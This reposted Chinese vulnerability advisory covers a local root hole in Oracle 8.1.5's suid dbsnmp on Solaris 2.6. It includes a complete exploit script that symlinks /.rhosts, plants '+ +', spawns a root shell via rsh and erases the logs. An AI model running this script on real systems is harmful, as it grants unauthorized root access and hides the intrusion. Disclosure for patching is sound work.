綜述:
Oracle 8.1.5 for UN*X存在普通用戶可以得到root權限的漏洞。
檢驗環境:
Oracle 8.1.5 on Solaris 2.6 SPARC 版本。
漏洞詳細描述:
如果沒有設置ORACLE_HOME,運行dbsnmp(缺省設置suid root/sgid dba)時會在
當前目錄下產生兩個log文
件:dbsnmpc 和 dbsnmpt 。如果這兩個文件不存在,dbsnmpd將會創建屬性為666、大
小為400字節左右這兩個文
件。如果這兩個文件存在,dbsnmp將不改變此文件屬性,並將400字節左右的輸出內容
附加到這兩個文件中。如
果root沒有設置.rhosts文件,就可以通過創建一個/tmp/dbsnmpc 到 /.rhosts的符號
連接來得到root權限。
檢驗程序:
oracle8% uname -a; id
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
SUNW,Ultra-5_10
uid=102(btellier) gid=10(staff)
oracle8% /tmp/oracle.sh
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
#
--- oracle.sh ---
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You'll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
(http://www.fanqiang.com)
進入【UNIX論壇】
|